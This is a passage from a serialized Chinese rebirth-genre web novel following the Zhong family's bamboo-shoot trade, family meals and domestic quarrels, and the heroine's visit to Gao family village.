好好一个大男人，那个子都能长到一米九，天天不思进取，到处吃喝嫖赌，欺负自己妹妹像什么样子。 改不好就跟他爹一样，先切小头再切大头。 越想她越投入，手里的笋子被她在菜板上剁的梆梆响。 钟绍华在地里干了半天的活，一回来就看见他妹妹正‘杀气十足’的剁笋子，不由得打趣道：“莹莹，你这菜切的有水平啊！” 钟莹莹一低头，不看不要紧，这一看她就沉默了，她手下的笋片快被她切成笋丁了。 阿弥陀佛，罪过罪过，钟莹莹在心里双手合十，为自己造成的浪费感到抱歉。 她是个知错就改的好孩子，把切碎的笋子倒到鸡棚里后，再重新切起笋子，她的刀法就正常很多了。 手起刀落之下，细长的笋子被切成薄薄的笋片，一片片落尽边上的大盆里，再被倒入火烧的正旺的沸水中，煮个几分钟后，陈显英将笋子捞出，投如冷水中，家里直接用的水缸泡笋子，因为量实在太多了，用盆子泡完全来不及。 灶房内两口大锅，一口陈显英用来煮笋子了，另一口锅里煮的是他们今天中午要吃的、没放任何杂粮的白米饭。 至于菜，院里搭的那个简易砖头灶上放着的就是，钟新澄跟丽丽两个这会儿和谐的很，俩人守在那口砂锅边上，见火快灭了就添一把柴火进去，见火大了，就把柴火抽出来一根。 钟绍华打水洗完手上沾的泥土后，摸了摸俩小孩的脑瓜子：“木木跟丽丽今天都这么乖啊～” “爹，我这么听话有奖励吗？”钟新澄满怀期待的看着钟绍华，丽丽也跟他一样紧紧盯着钟绍华。 钟绍华：“……” “奖励没有，但是大嘴巴子管够，你要不？” 钟新澄撇撇嘴：“没有就没有～怎么还带打人的～” 锅里的饭蒸的差不多了，钟伟先也从外面回来了，见钟绍华逗孩子，他喊：“绍华，过来抬桌子，今天我们在院里吃饭。” 等钟绍华过来跟他一块抬桌子的时候，他小声骂道：“你都多大人了，怎么天天没个正形，那孩子好好的干着活呢，你逗他们做什么？” 自家老爹骂自己，钟绍华无法反抗，只能讪笑着说：“爹，我就是跟他俩开个玩笑，又没真想打人。” 四方的小木桌被抬到院子中间，天上的太阳正好，晒得人身上暖洋洋的，钟莹莹笋子也不劈了，菜刀扔到菜盆里，就去洗了手盛里一碗米饭坐桌子边上吃饭。 拿勺子舀着腌笃鲜到汤汁泡饭，饭上再堆些笋子和腊肉，一口笋子一口汤泡饭，一碗饭下肚，整个人撑到不能行，瘫坐在板凳上压根没有力气坐起来。 满满一砂锅的腌笃鲜连带着那一柴火灶的米饭，被钟家人吃了个干干净净。 “嗝～”钟莹莹打了个饱嗝，然后就像引发了连锁反应一般，接二连三的“嗝儿～”、“嗝～”从边上其他人的嗓子里冒出来。 下午的活是干不成了，吃饱了就想睡，这一睡就是昏天黑地，睡的完全不知所以然了。 她睡的时候，钟伟先和陈显英没有睡，俩人把她扔在那里的活一点点扫了尾。 陈显英手里切着笋子，心里又想起钟莹莹上学那事。 “咱闺女的开学通知咋还没下来？按照前年的时间过几天就该报道了，学校说让等通知等通知，这都从年前等到年后了也没等来通知，该不会这学期又去不成了吧？”陈显英很是焦心，钟莹莹一心想考大学，这学校不是放假就是放假，怎么能让学生好好学习？到时候咋考大学？ 钟伟先也是紧皱眉头：“我问有德了，他说他们所里那个咱闺女同学的哥也说通知还没到呢，你别着急，大家都是这个情况。” 陈显英：“怎么能不急啊，要我说当时还不如就在县里读呢，离家近，有什么事，有德那边一通知咱们就上县里去了。” “这搞到市里，想过去一趟，又是开介绍信，又是买火车票住招待所的，咱闺女上学期回来瘦恁大一圈，你不心疼啊！” 钟伟先揽住她：“怎么不心疼啊？可那是孩子自己选的，她想上市里念书，家里又供的起，咱们这当父母的不该支持支持？” 陈显英一把推开他：“你这不是偷换概念吗？我说的是钱的事吗？” 钟伟先立马举手求饶：“我的错，我该打！”说着他还轻轻扇了两下自己的嘴巴，就为了让陈显英开心点。 见他这个样子，陈显英气的锤了他一拳：“你还说绍华没个正形呢，瞅你这个当爹的，一天天油嘴滑舌的，都没给孩子当个好榜样，上梁不正下梁歪，绍华随你，可不就没个正形了！” “是是是，坏处都随了我了，不生气了啊～”钟伟先见她又露出笑脸，立马打蛇上棍式的迎了上去。 老父母在这里忧心忡忡，身为事情正主的钟莹莹却是还睡的四脚朝天，等她再睁眼的时候外面的天都黑了，她不知道确切的时间，只是暗道一声：坏了，睡过头了。 从床上一跃而起，她就直奔钟绍华那屋，想给人叫起来，让他明早带自己一块去高家村。 第126章 “哥，你醒醒啊，我有事要跟你说！” “哥，你先别睡，快开门啊～” 钟绍华没叫出来，却把她爹娘先给叫出来了。 陈显英从院子外面进来：“莹莹，你睡懵了吧？你哥嫂在村长家还没回来呢！” 明天要去高家村收购，钟绍华下午就去钟强先那算账去了，采购的时候是现场结清，他要先从厂里账上把钱支了才行。 还有小货车加油的钱，都得跟村长对一对账，这一忙就忙活到了晚上。 钟莹莹听陈显英这么说，整个人傻眼了，她哥人不在，那她刚刚敲了好几分钟的门那是敲给鬼听了？ 没在意她的蒙圈，陈显英开口就是：“饿了没？娘在锅里煮了稀饭，喝点不？” 一醒来就跑惦记着找她哥的钟莹莹这会儿人缓过神来，睡了一下午，肚里的食也消耗殆尽了，还真饿了。 不过在吃饭前，她得先去解决另外一件事。 人有三急，她快憋不出了。 “呼～畅快～”钟莹莹提上裤子从茅厕里出来，膀胱被排空的那一刻她好似体会到了升仙般的美妙。 从后门回到自家院里，打一盆水洗手打同时顺便把脸也给洗了。 冰凉的井水触及到脸上的皮肤时，她被冻的打了一个寒颤，但因为下午睡太久导致的头昏脑胀也随着这个寒颤消失不见。 等进堂屋里时，她娘已经给她的稀饭盛好了在那凉着呢。 钟莹莹一坐下端起碗就能直接喝，温度刚刚好。 她一边呼噜噜端着碗喝着碗里的稀饭，一边问陈显英：“娘，哥啥时候能算完账啊？” 陈显英揶揄道：“咋滴？这才一下午没见，你想他了？” “我没有，我就是想问一下他明儿个去高家村能不能带我一块去耍，我想去找我同学玩。”在高家村的高家娣成为了她去高家村最好的借口。 小孩子贪玩是很正常的，陈显英也没怀疑，她夹了一筷子酸豆角放进嘴里咀嚼了几下后说：“你哥那边应该还得挺长时间的，那账不是一时半会儿能算完的。” 钟莹莹：“啊～都算了一下午了还没算完啊～” 陈显英：“那也没办法啊，账总要一笔笔算清楚的。”账算的明明白白的，才不容易闹出事情来。 “你要是怕你哥回来的太晚，娘帮你给他说就成，不过……你得记得明天起早一些！”陈显英估摸着钟绍华明早一起来大约就要出发。 事情太多，他早些出发，才能早点把活干完。 钟莹莹把碗里的饭快速的扒完了，然后顺手把自己的碗筷拿到外面，用井水洗了，放回灶房里，回到灶房里甜甜的对陈显英道：“谢谢娘，那我就不等我哥，先洗漱去了。” 虽然睡了一下午，但钟莹莹总觉得晚上不刷下牙洗下脸，别扭的很。 她刷牙用的是砸扁的柳条蘸着盐，用了这些年，她竟然用的也挺习惯。 简单的食盐颗粒借着柳条的颗粒摩擦着牙龈牙缝，能给牙齿清洁的干干净净，而且钟莹莹发现，她用盐刷牙后，牙龈也很少发炎了，就算是上火，也只是嘴角长燎泡，并没有波及到口腔。 这就让她感觉到有些神奇了，要知道，前世她就算用再贵再好的牙膏，再细再软的牙刷，牙龈都一样的特别爱发炎。 现在就只是简单的用食盐刷牙，不仅牙齿变得亮白了许多，牙龈也健康了好些。 在泡脚的时候，她心里暗骂：“呸呸呸，真是一**商，牙膏用了牙齿变得更脆了，还有那个洗发水……” 她本来都忘记了的，一想起牙膏的事，洗发水的瓜她也想起来了。 那些洗发水，早期用着控油还清爽，可随着时间线拉长，那叫一个越用越糟糕，原来茂密的秀发直接就是一个英年早秃。 秃就算了，还雪花漫天，那大块的头皮屑直接能从头上一整片揭下来，上面密密麻麻的发孔，看着就瘆人。 “该死的，终究是我错付了啊！” 还好，上天给了她重来一次的机会，倒了洗脚水，回到自己屋里，把门插上，躺在床上，钟莹莹忍不住去把玩空间里的各种金银玉器。 何以解忧？唯有财宝呐～ 瞅这金灿灿的大元宝，瞅这水灵灵的大玉镯，瞅这字画……额，字画还是算了，她暂时没有什么品鉴的能力。 除了这些暂时不能动的不动产外，她还有个小金库，里面装的是她这么些年来，攒下来的钱和票。 那木匣子装的一叠大黑十，还有一叠零碎的毛票，还有一叠乱七八糟的票据，钟莹莹终究不是当年那个空有个大空间，但手里只有几毛钱的小孩了。 将自己所有的财产全部清点了一遍，钟绍华还是没有回来，钟莹莹在床上躺着躺着眼睛又闭上了，不知道为什么已经睡了一下午了，这会儿困意又冒了上来。 又没其他事，困了她就睡。 这次的一觉没有像下午那样，睡的不知道今夕是何年。 在外面的天刚微微亮，公鸡还没打鸣呢，她就彻底清醒了过来。 家里还没有人醒，她是第一个起来的。 外面冷锅冷灶的，她娘还没做饭，灶上也就没热水，等钟莹莹用冷水洗漱完，又回屋子里换了今天出门要穿的衣服，她爹才披着厚外套，搓着手从他那屋出来，一见到钟莹莹，他吓了一大跳：“嗬～闺女，外面那么冷，你咋起那么早？” 钟莹莹解释道：“我昨个下午睡多了，早上睡不着～” 钟伟先把屋里的痰盂拿出来，去茅厕里倒了，用水把痰盂冲干净后，他在柴房墙根处找了个地方把痰盂放在那里。 家里的阿黄被咸菜厂征用当门卫后，柴房也没狗子睡了。 “你今天是不是要跟你哥一块去同学家玩来着？要不要给人家带些东西过去？”上别人家最好还是不要空手，以前家里穷大家都不讲究，现在家里条件好些了，钟伟先觉得，还是懂点礼比较好。 钟莹莹拒绝了：“爹，我就是过去玩玩，不在她家里待，上回去的时候我还给她带头绳了呢，这回就不用了吧？” 钟伟先也不强求：“你心里有成算就行。” 他简单的洗漱后，转身进了灶房：“莹莹，过来帮爹烧火，让你娘多睡一会儿。” “好嘞，我这就来！” 早上钟家吃的是杂面饼子，还有鸡蛋酱，除此之外，钟伟先还熬了一大锅的小米粥。 等钟绍华揉着眼睛从屋里出来时，钟莹莹跟钟伟先早都把饭做好了，正从锅里把粥一碗碗盛出来，放到桌子上，摆碗筷呢。 “我可真有福，一起来就能吃上热乎饭。”钟绍华拿饼子夹着鸡蛋酱，三两口就干掉了一个饼子，吃完饼子，他又吹了吹粥碗，顺着碗边，一大碗粥没几秒，也让他倒进了肚子里。 他拿起第二个饼子，喝第二碗小米粥的时候，钟莹莹第一个饼子还没啃一半呢。 “哥，你慢点吃，吃快了对肠胃不好，还有那粥，那么烫，你等它凉了再喝，喝太烫喉管会烫坏的！” 钟绍华满不在意道：“怎么会？我这不好好的吗？” 钟莹莹看他不把自己说的话当一回事，她有些生气，忽然，她眼珠子一*转，想到了一个好主意。 她拍拍钟绍华的胳膊：“哥，你知道吗？我学校同学有个亲戚，他吃饭也像你这样。” 钟绍华：“然后呢？” “然后他每天都吃烫饭，他比你还厉害呢，那开水倒到碗里，他咕嘟咕嘟一口气就能全喝下去，刚出锅的热汤，他也不嫌烫，一口接一口的就喝完了。” “你知道他后来咋样了吗？” 钟绍华：“咋样了？吃胖了吗？” 钟莹莹：“……” “他喉咙里长了个大瘤子，医生说是天天吃太热的东西烫出来的，如果要治，就得把喉管给切开，他家里人没钱给他治，最后那个瘤子越长越大，给他的喉咙完全堵住了，他吃不下去饭，就饿死了。” 钟绍华不太相信：“你这从那听来的骗小孩的故事？”话虽如此，他端着送到嘴边的碗却是又放了下来，吃饭的动作也变得斯文了许多。 钟莹莹内心：不是不信吗？这不自己打自己脸吗？ 她还想再巩固一下家里人的印象，她娘跟她嫂子都不用担心，她俩吃饭都没有像这样的，就只有她哥，整天吃饭像饿死鬼托生一样。 因此，钟莹莹对着钟绍华又开口道：“不是骗人的，就是我上县中时的那个同学，姓李，你还见过呢！” “她大伯，才四十出头，埋下地也没几年，你去她们村里准能打听到这人！” 听钟莹莹说的煞有其事，连具体哪个人都扯出来了，钟绍华立时就对这个故事信了有八九分。 等去高家村的路上，钟绍华还在问钟莹莹：“你那同学她大伯当真是饿死的啊？” 钟莹莹：“可不是嘛，他死的时候饿的都皮包骨了，那是一口饭也吃不下去。” 钟绍华顿时心有余悸道：“那我以后也吃慢点，等饭凉了再吃吧！”得病他没那么害怕，他怕的是，一口饭也吃不下去，活活饿死。 人活着就是为了吃饭，不能吃饭还叫什么活着？ 第127章 钟莹莹来的赶巧，正好碰见她大舅在村口被人‘玩耍’。 “高家友，我爹说你爹现在不是男人了，哪他是啥，是女人吗？哈哈哈哈哈哈……” “喔喔哦喔～高家友的爹是女人～” “高家友他爹是软蛋～” “小虎，你说错了，我爹说高家友他爹不是软蛋，他爹是没有蛋～” “哈哈哈哈哈哈哈哈～” …… 一群七八岁的小男孩围着高家友，用手指着他鼻子嘲笑他。 昔日小伙伴的嘲笑声犹如利刃般刺入高家友的耳朵里，他就站在那里，一言不发，双手紧握成拳，他太阳穴处的青筋鼓起，脸涨的通红，眼里噙满泪水。 那群孩子见他不动作，嘲讽声越发的猛烈，更甚之有人开始用手推攘起了高家友。 高家友被前后左右夹击，矮小的身子被推来推去，他内心的愤怒越积攒越多，只见下一秒，他猛的扑到那个嘲笑他最凶的男孩子身上，将人扑倒在地后，抡起拳头在他身上一拳接一拳的往下砸：“不许你说我爹，你爹才是女人！” “你爹是软蛋！你也是！” 小小的孩子愤怒到了极点，只是用拳头打人他已经觉得不过瘾了，小手在周围摸索着，他摸到了一块碎砖头，急火攻心的他想也没想抄起石头就往被他压在身下的那个孩子身上砸。 “我的娘嘞～这是在干什么啊？”钟绍华一下车就见着这么刺激的场面，他的小心脏一时之间有些接受不了。 身体本能反应快过脑子，他大步流星上前去，一把将高家友手里的砖夺了下来：“小孩，你家大人呢？你可知道，这一砖头下去，你就给人砸死了！” 高家友也顾不得继续打人了，他朝着钟绍华生气的吼道：“你还给我！” “这是犯罪工具，可不能还给你！”钟绍华把砖头用力一抛直接扔到了一边的水塘里。 砖头没了，高家友一鼓作气打人的勇气也被中断了，他站那定定的看了一会儿水塘后，忽然一扭头哭着跑回家了：“呜呜呜……你们都欺负我，我要回家告诉我姑奶奶去！” 钟绍华傻眼了：“他、他这就走了？” “这得给他家里人说一声吧？这都敢拿砖头砸人了！” 钟明月见天色还早，便点点头道：“走吧，我们跟上去看看。” 至于钟莹莹，对于去高家友家里这件事，她正求之不得呢，这回都不用找借口了，她跟着哥嫂就能光明正大的去看她妈。 高传家的家里热闹的很，六个姐姐都在他家，有帮忙带孩子的，有洗衣做饭的，还有下地给他干活的，高家友一到家就吸引了所有人的注意力。 “小友，怎么了？谁欺负你了？二姑打他去！”高二姑是个脾气十分暴躁的女子，一见弟弟家的龙宝蛋哭着跑回家，立马就压制不住火气了。 “呜呜呜……二姑，小龙、小虎他们说、说我爹是个女人，说我爹没有蛋～呜呜……” “谁说的？小友，二姑带你找他们去！”高二姑进屋就想掂菜刀。 钟绍华在外面听了高家友要砸人的原因，也认出了他爹就是那天他给送到医院里的那个伤到下半身的男人，他有些尴尬的摸了摸鼻子，不知道这高家的大门他是进还是不进。 正在他左右徘徊的时候，高传林回来了。 高传林刚从高传家的竹林里回来，她掰了很多笋子都在林子里，这会儿回来是喊她几个妹妹帮她一块把笋子给抬到村长家去的。 对于自家门口出现的陌生人，高传林有些怀疑他们是不是不怀好意：“你们是？” 接着她视线扫过钟莹莹的脸，忽然认出了她，高传林一脸惊喜道：“你是那天在医院里的那个小姑娘？” “这是你哥嫂？快跟婶子进屋，那天可太谢谢你们了啊！” “要不是你们开车把我家传家送到医院去，他都不知道能不能保住小命呢！” 高传林特别的热情，没给钟家三人选择的机会，拉着钟莹莹就进了院子，这下子钟绍华没有选择，只能硬着头皮跟着高传林一块进了高家。 “二妹，你看我带谁回来了！”高传林欢天喜地的带着人进屋。 高家友看见三人的速度比高二姑更快，一认出他大姑带来的人是方才抢他砖头那人，他立马就指着钟绍华给他二姑告状道：“二姑，刚才就是这人，他欺负我！” 高二姑一听她家宝贝蛋子这么说，立马就不分青红皂白，怒发冲冠的拿着菜刀就想劈钟绍华：“好啊，你这人欺负我家小友没完，这还敢找到家里来了，看我不砍死你这个丧尽天良的家伙！” 高传林被她这一手给吓的不轻，害怕她砍到人，高传林立马上去阻拦道：“二妹，这是不是有什么误会啊？” “他是钟家岗过来拉货的司机，之前小弟受伤去医院就是他送过去的，人家还帮着在医院守了半天呢！” “大姐，你别拦着我，他一个大人，欺负咱家小友这个小孩，自己一点脸都不要了，那我还给他面子干什么？……不对，大姐，你刚刚说什么？”高二姑本来正努力挣脱高传林的束缚，想给钟绍华这个贼人致命一击呢，忽然听到高传林说的话，她一时之间竟然楞住了。 高传林见她能听进去自己说的话了，连忙趁机夺下了她的刀，放回了灶房里。 “二妹，我说咱家传家的命是这位小兄弟救的，要是没有他开车帮着给传家送到医院里，咱们可能现在都见不着传家了！” 高二姑仍旧带着几分怀疑：“真的假的？” 高传林嗔笑道：“你姐我还能骗你不成？” 高二姑渐渐放下怀疑，但这时高家友又跳出来说：“二姑你打他啊！就是他欺负我！” 钟莹莹见他这个样子实在是手痒的很，明明之前在外面，他还是受欺负被可怜的一方，可为啥一回到家里，就变得这般欠揍了呢？ 可这是别人家，高家友也不是她家孩子，她只能压抑住自己那颗想揍人的心。 这个时候她觉察出钟新澄的好来了，自家孩子，哪里有做的不对的地方，她想教训就教训了，那用现在这般需要强忍着，看这孩子上蹿下跳啊！ 见高二姑的眼中的疑色复又重新聚拢，高传林见状忙问钟绍华：“小兄弟，这到底是怎么回事啊？” 钟绍华连忙解释道：“大婶，我真没欺负他，是刚刚我一下车，就见他身边围着一群孩子，他拿着块砖头，要去砸人家的头，我怕他把人砸出个好歹来，才把他的砖头夺来扔了，我也不知道是那伙小孩先骂他的啊，要是提前知道，我、我……” 钟绍华怎么也说不出他要袖手旁观的话，最后他心一横道：“要是提前知道，我也会阻止的，那砖头砸脑门上，是真能砸死人，我不能见着孩子一辈子就这么毁了！” 说他烂好心也罢，说他假好人也成，但眼睁睁看着一个六七岁的孩子走上不归路，他做不到。 钟明月跟着道：“你们知不知道就算是小孩子给人家打坏了也是要蹲篱笆子的，你们忍心让自己孩子进去蹲着啊？” 象药抱着闺女从屋里走出来，慢声细语道：“我都听明白了，小友这事不关你们的事，反而是我们该谢谢你们。” 跟上次钟莹莹见到的不同，这回象药的面色红润了不少，看来高家几个姑奶奶回村后，她的日子应该过的不错。 见象药发声，高传林忙上前去阻拦：“你这还坐着月子呢，吹风对身体不好！” “颖子这小丫头你也别给她抱出来了，外面凉，别给她冻感冒了！” 高传家雀儿没了，医生说他以后不能生了，那象药生的每个孩子都对她们高家至关重要。 象药见她大姑姐这般关心自己，其实心里觉得挺讽刺的，要知道，当时她刚生颖子那会，这几个姑姐没一个回来看看的，不回来就算了，还放话说：“就生了个丫头片子，有什么好看的？” 等高传家要把颖子丢掉，她拿刀追着高传家砍的时候，这几个大姑姐才回来劝她，说自家男人没不是的地方，她这个当人媳妇的应该多包容一些。 现在高传家出去乱搞，给自己搞的快死了，她生的小丫头片子也变得金贵了起来。 她一时之间竟然不知道是不是该谢谢她丈夫出去乱搞，把自己雀儿搞没了。 象药抱着自己闺女，对高传林温柔的笑了笑：“没事的，大姐，颖子早就被带出来过，你忘了吗？之前传家把她扔到雪地里，她都活下来了，现在外面日头晒到这么暖和，能出什么事？” 象药轻声细语间就给高传林闹了个没脸，但高传林还不能反驳，因为事实确实如此。 钟莹莹见她俩这么一来一往，也是惊到了。 前世象药这个姥姥可没有像这般维护过她妈，反而只要外人一说她妈的不是，象药就会过去掺合上一脚，甚至关于她妈的很多谣言，都是象药这个做姥姥的自己主动传播出去的。 第128章 “既然事情都说清楚了，那我们就不多留了，村长那边还等着我们去收货呢！”在高家耽误了不少时间，钟绍华终于想起今天自己是过来干正事的。 “等一下！”象药突然走过来拦住他。 “之前你送传家去医院，感谢的话我就不说了，油钱得付给你，不然不成了占你便宜了吗？” “我没有加油用的票，只能给你钱了。”象药从叠起来的手绢里拿出五块钱，本想递给钟绍华，但她又觉得不太合适，最后把钱给塞到了钟明月手中。 本来油钱就该他们出，急着要走，钟绍华也就没有推拒，只点点头道：“我开那车是村里的，加油也是走的村里的账，这钱我就拿回去交给村长了。” 跟象药说完话后，他转头又看向钟莹莹：“莹莹，你不是要去找你同学吗？快去吧～一会等我装完车，就得回家了。” “好！” 钟莹莹其实并不想去找高家娣，但奈何她来的时候找的借口就是这个，此刻她也只能笑笑应承了下来。 跟哥嫂分开的钟莹莹没有去高家娣那，而是在整个村子里转悠了起来。 高家村是个比钟家岗大上两三倍的村子，有着七八十户人家，地广人也多。 有着上辈子在这里生活的经验，钟莹莹对这边很是熟悉。虽然大部分的建筑跟后世不同，但每家每户的占地面积跟后来基本上是差不多。 高家村跟钟家岗一样，有着众多的水塘还有竹林。 他们的水塘暂时还没有利用起来，只是简单的投放了一些鱼苗，任其自由生长，没有达到钟家岗那种规模化的养殖。 钟莹莹觉得有些可惜，要是这些地方全都像钟家岗一样，那高家村就能变得跟钟家岗一样富裕了。 穷生奸计，富长良心，说的不是人的品质，其实只是一种生活上的无奈。 贫贱夫妻百事哀，因为穷，再加上愚昧无知，才滋生了一系列重男轻女，弃女婴的事，如果高家村的日子也好过起来，她妈待在高家村，在没有弟弟妹妹的情况下，那应该就不用她再担心了。 钟家岗过来收笋子，还有草编竹编已经大大提升了高家岗的收入，再让他们把鱼也养起来，能自己卖自己卖，买不了钟家岗还能收购做咸鱼，既给自己多增加了一个供货商，又能让高家村多一个收入来源，双赢的事，何乐而不为呢。 整个村子全部逛下来，钟莹莹心里已经有了成算，她准备等一下去高村长那就假装‘不经意’间提起这件事。 高传家在钟绍华他们三个去他家的时候一直没有露面，事实上，应该说自从他出院后就没有在村里露过脸了。 有着几个姐姐的照顾，吃喝拉撒他都躺在床上。 每天吃完饭解决完生理需求后，他就两眼无神的看着自家屋顶，也不知道是在数房顶的蜘蛛还是在盘算着别的什么。 象药白天晚上的都得带闺女，小婴儿晚上会哭闹，高家的几个大姑姐，不让她跟高传家一个房间睡，她也乐得清闲，抱着孩子就去了高家友那屋睡。 家里高传林她们姐妹几个来给高传家带了不少补品，除此之外，高家穷的只剩下墙了，高传家平日里就不正干，还喜欢吃好的，喝好的，压根攒不下来钱，看着怀里嗷嗷待哺的闺女，再想着屋里无所事事躺着的高传家，象药心里不舒坦了。 不舒坦就得发泄出去，她跑到自己原先和高传家睡的那屋：“高传家，你雀儿没了，脑子也没了吗？什么事都让你姐帮你干？” “大姐家里来喊几遍了，过不了几天他就要回家去，二姐三姐他们也待不了多久了，到时候你还就这么躺着等着我伺候你吗？” 象药给他留着面子，声音不算大，高传家却像没听见似的，继续着自己的放空。 象药生气了，走到他边上，冲着他的脸啪啪就是两巴掌：“你还是不是个男人？是男人就给我起来！”姑子姐们搬笋子去村长那了，象药对高传家动手不怕被人发现。 而且她发现，自打高传家那块出问题后，她以往对高传家的那种隐隐的畏惧感也不见了，现在高传家在她眼里，跟普通人没区别。 高传家挨打了也不生气，还那样继续躺着，他淡淡开口道：“我是不是男人你不是清楚的很吗？雀儿都没了，我还算什么男人？” 象药见他这副死样子就来气：“你不是男人，那你儿子呢？你也想让他跟你一样吗？” “因为你这个爹，村里孩子都骂他，不带他玩，今儿个他要是把小龙小虎他们砸死了，你儿蹲篱笆子去，你老高家那才真叫一个男人都没了呢！” “以前天天给我说，你是你们老高家的独苗，是要给家里开枝散叶，传宗接代的。” “现在呢？你不是独苗了，你儿子变成独苗了，那等你儿子跟你一样，也被人打残打死后，你老高家要断子绝孙吗？” 高传家：“断子绝孙就断子绝孙，我也管不了那么多了，我废了你知道吗？”他都自顾不暇了，哪里还能管得上儿子？儿子能有他自己重要吗？ 象药冷笑一声：“你还能吃饭，还能喝水呢，算什么废？你儿子才六岁，闺女还没满月，你总不能就这样躺着，让他俩养你吧？”废了？吃饭的时候咋没说自己废了不能吃呢？那大姑姐带来的腊肉，就没见吃的比他还欢实的。 高传家：“爱养不养！” 任象药说什么，他都一副要死不活的样子。 象药实在管不了他，只能暂时先放弃，但她心里明白，几个姑子姐不可能留在自己家一辈子，到时候高传家还是要落到自己手里，等那时候再收拾他也不晚。 钟莹莹这只蝴蝶翅膀，终究还是给高传家一家带了翻天覆地的变化，起码在象药身上是看见了很大的改变。 原本在高传家的影响之下，逐渐放弃斗争，被高家人同化的象药，现在逐渐找到了自己的方向，她不把高传家放到眼中后，就能以一种局外人的心态看待在高家发生的一切。 丈夫可能会变成别人的，就像高传家以前，虽然名义上是象药的丈夫，但私下里，他是村里很多人的丈夫，现在呢，他又变成了个太监，明面上私底下他都变不成任何人都丈夫了，当然，他也不再是象药的丈夫，象药变成了自由身。 因为需要称笋子，钟绍华这次带了村里称猪用的称来。 “高传林，一百二十斤净笋，六块钱。” 村长刚报完斤数还有钱数，高传林就跳出来说：“村长，你给记我们传家的名字，这是他家的笋子。” 高村长无奈：“这记谁家的名字不都一样吗？钱你拿回去交给传家不就行了吗？” 高传林：“这哪能一样，我们传家辛辛苦苦掰的笋子，不记他的名字不就浪费了吗？” 高二姑也跟着吆喝：“对，就该记我们传家的名字。” 村长不欲与她们俩纠缠，只能说：“好，我记上传家的名字，成了吧？” 见高村长一笔一画的把高传家的名字写到记录簿上，高二姑满意的点点头：“这还差不多！” 村里有那好事的，故意打趣高二姑：“高老二，你家传家自打出院后都没出过门，他咋掰的笋子啊？” “对啊，对啊，高老二你给我们说说呗～我前些天还看你家老三老四在传家那地里给他干活呢，要是他都能下地掰笋子了，地里的活他咋不自己干呢？” 他的话音刚落，周围人顿时传来一阵恶意的嘲笑声。 高二姑才不惯着他，当场就把棉鞋一脱，直接砸在了那人的脸上：“我叫你胡说八道，我家传家好好的，啊，你在这里诅咒他，看我不撕烂你的嘴～” 高二姑的泼辣是有名的，也就是高二姑太久没在村子里发威，才让那人产生一种他能骑在高二姑头上拉屎的错觉。 高传家一家人生的都颇为高大，高二姑身高接近一米八，没出嫁前天天在家干农活，练出了一把子力气，出嫁后养尊处优，虽然实力懈怠了不少，但也不是一个矮坨坨的小趴菜所能比拟的。 她几乎是按住那个人把他压在地上打，那个人毫无还手之力，只能眼睁睁看着高二姑拿自己的臭鞋子扇他大嘴巴子，由于味道实在有些美妙，他一直在不断的发出干呕的声音，终于，在他吐了一地的时候，高二姑嫌他恶心，放开了钳制他的双手。 把鞋子穿回自己的脚上，高二姑不忘恶狠狠冲那人道：“下次还敢乱叭叭我家的事，我还要你好看。” 场面一时凝滞，直到高二姑说了一句：“大家都看着我干吗？该干啥干啥去啊？” 她话刚说完，原本静音的人群就像得到某种指令一般，重新涌动吵闹起来。 在高二姑出手锤那个嘴贱的人时，高家村的人没有一个上前帮忙的，这就是高二姑经年以来累积的威望，即使她已经出嫁多年，她的排面仍旧不变。 第129章 “绍华小兄弟，今天要卖的竹笋都在这里了，你点点看。”高村长搓着手站在一旁，示意钟绍华该给钱啦。 钟绍华确定数量和质量都没问题后，就让钟明月把早就数好的钱交给了高村长：“这是今天的钱，您数一数，看看对不对。” 高村长摆摆手道：“哎呀，我还能不相信你嘛，不用数不用数～” 钟绍华故意开玩笑：“还是数一数吧，万一我多给了呢！你不得把多的还给我啊～” “哈哈哈哈哈～小兄弟真会开玩笑，行，那我就数一数～” 高村长吐了口唾沫星子在手上，捻起那一沓零碎的毛票就数了起来：“一块、两块、三块……十块……四十五二毛三，正正好，一分不多，一分不少。” “那我就装车了啊！” “我来帮你～上次传家去医院那事，我都还没谢谢你呢！你还给我买了肉包子～”高村长咂巴咂巴嘴，忍不住回味起那个肉汁充沛，咸香可口的肉包子的滋味。 他搁村里住，平常哪舍得去国营饭店买肉包子吃啊，要不是托了钟绍华的福，真的，等到入土了他都不一定能吃上那般味道好的大肉包，他在给钟绍华帮把手的功随口问道：“绍华小兄弟，这眼见着就快晌午了，要不你去叔家吃个晌午饭再回家去吧～” 他越说越觉得这个办法好，既能够表达他对钟绍华的感谢，也还了那个他吃了人家两个肉包的人情。 钟绍华当即推拒道：“叔，算了吧，我还要拉货呢，等下次，下次一定哈～” 高村长不满意的啧了一声：“听叔的话，去叔家吃！” “吃个饭又不费什么时间，吃完也不耽误你拉货，你婶子手艺好得很～” 害怕钟绍华不答应，他眼睛转了一圈，先是看到钟明月，但这是人家媳妇，自己跟她拉拉扯扯不好，接着他又看到了钟莹莹，这是个小孩，很好，他眼睛一亮，直接拉着的手腕往他家走，边走还边说：“绍华啊，我先把你妹妹带过去，等下你把车子弄好，带着你媳妇也过来啊！” “诶～你别……”钟绍华话还没说完就见高村长脚下的步子迈的越来越大了，还没两分钟，就拉着他妹妹直接进了自家院子。 钟绍华无奈，只能对钟明月说：“媳妇，看来咱们今天这顿饭是不得不吃了！” 由于高村长没有和媳妇提前说这件事，所以得知他要请人吃饭时，他媳妇忙活的手忙脚乱的。 他家里没啥好菜，他媳妇就临时去村里其他人家借了咸鱼回来，蒸了咸鱼后又炒了四个鸡蛋，再加上家里本来就有的腌野腊菜，又用新发的枸杞头做了个枸杞头蛋汤。 村长给钟绍华盛了一碗杂粮饭，笑着说：“家里没什么好东西，都是粗茶淡饭，你们别嫌弃哈～” 钟绍华忙站起来接过饭碗笑道：“怎么会呢？这有鱼有蛋的，平常在家我可吃不着！还有婶子这咸菜，腌的也特别香～” 高村长媳妇被夸了后很不好意思道：“哪里哪里，比不上你们钟家岗的，听说都卖到市里去了呢！” 钟明月夹了一筷子野腊菜进嘴巴里，也跟着夸赞道：“婶子，你不要不好意思，这腌菜啊，每家每户腌的味道都不一样，谁家有谁家的小窍门，我吃着婶子你这腌菜就好吃的很～” “哈哈哈哈～好吃你们就多吃点，自己夹，不要客气啊～在婶子家吃饭就当自己家～”高村长媳妇开心的都合不拢嘴了。 钟莹莹没忘记要带着高家村一起发家的事情，她看桌上有咸鱼，直接借题发挥道：“婶子，你家咸鱼也好吃，咱们钟家岗的厂子里也做腌咸鱼，每年做的都不够卖的，我看你们村里也有鱼塘，年底捉鱼的时候有多的可以问我们村长收不收！” 